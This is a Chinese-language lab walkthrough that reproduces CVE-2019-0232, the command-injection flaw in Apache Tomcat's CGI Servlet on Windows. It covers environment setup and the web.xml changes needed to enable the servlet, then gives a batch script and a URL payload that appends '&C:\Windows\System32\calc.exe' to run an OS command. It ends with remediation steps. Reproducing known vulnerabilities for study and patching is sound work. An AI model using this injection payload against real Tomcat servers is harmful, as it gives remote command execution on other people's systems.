漏洞背景介绍:
2019年4月13号,Apache Tomcat 9.0.18版本公告中提到,本次更新修复了一个代号为CVE-2019-0232的漏洞。该漏洞只对Windows平台有效,Apache Tomcat 9.0.0.M1到9.0.17,8.5.0到8.5.39和7.0.0到7.0.93中的CGI Servlet很容易受到远程执行代码的影响,攻击者向CGI Servlet发送一个精心设计的请求,可在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令。漏洞成因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中的输入验证错误而存在该漏洞。
复现环境:
tomcat8.5.39
windows10x64
JDK 1.8.0_201
漏洞影响范围:
Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93
复现过程:
JDK配置:
下载好JDK,我用的是JDK 1.8.0_201
在此电脑处鼠标右键单击,选择“属性”
点击高级系统设置:
点击环境变量:
在系统变量中新建一个变量:
变量名:JAVA_HOME
变量值:(JDK的安装路径,在前面安装时最好把它复制下来)
修改系统环境变量中的path
在最后加入%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin;
新加一条系统变量CLASSPATH
变量名:CLASSPATH
变量值为.;%JAVA_HOME%\lib;%JAVA_HOME%\lib\tools.jar(注意前面有个.)
做完这些后打开cmd输入:java -version
如果能查看版本信息那就说明配置成功了
接下来就是tomcat8.5.39的环境搭建
tomcat8.5.39的搭建:
下载apache-tomcat-8.5.39-windows-x64压缩包
Index of /dist/tomcat/tomcat-8/v8.5.39https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/
进去之后是这样子的:
一堆英文,大概是说bin/里装的是各大版本的tomcat的压缩包,src/里装的是tomcat各版本的源码
所以我们点击bin/在里面找到对应的版本:
下载好后解压打开
更改web.xml下的cgi:
打开apache-tomcat-8.5.39/conf/web.xml
选择用记事本打开:
大约在375行左右,找到这一串代码,将注释符去掉:
然后将这段代码添加进去:
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
添加在这个位置:
更改web.xml下的cgi的mappings注释去掉:
继续往下翻,在419行的位置将这段代码的注释去掉:
配置使有启动CGI_Servlet的权限:(不配置会出现404的情况)
打开同目录下的content.xml文件:
找到最后一段代码:
在Context后面添加privileged="true"语句 如下图
到这里环境搭建就已经完成了
Shutdown.bat为关闭tomcat,startup.bat为启动tomcat
重启后访问:http://localhost:8080
说明环境配置成功。
在webapps/ROOT/WEB-INF文件夹下新建cgi-bin
在cgi-bin里新建hello.txt,写入如下代码:
@echo off
echo Content-Type: test/plain
echo.
set foo=&~1
%foo%
将hello.txt的后缀名改为bat
注:也可以将hello改成自己喜欢的名字,后续中将hello全部改成你命名的名字即可
重启tomcat后(Shutdown.bat为关闭tomcat,startup.bat为启动tomcat,先关闭再启动)
访问http://localhost:8080
在http://localhost:8080/cgi-bin/hello.bat?&C:\Windows\System32\后加系统指令(像红字部分这样构造url),例如:
打开计算器:
http://localhost:8080/cgi-bin/hello.bat?& C:\Windows\System32\calc.exe
其他的指令就不一个一个来试了,可以自己研究。
漏洞修复建议:
在Tomcat安装路径的conf文件夹下,使用记事本打开web.xml,找到enableCmdLineArguments参数部分将true值改为false
在conf/web.xml中覆写采用更严格的参数合法性检验规则。
升级tomcat到9.0.17以上版本。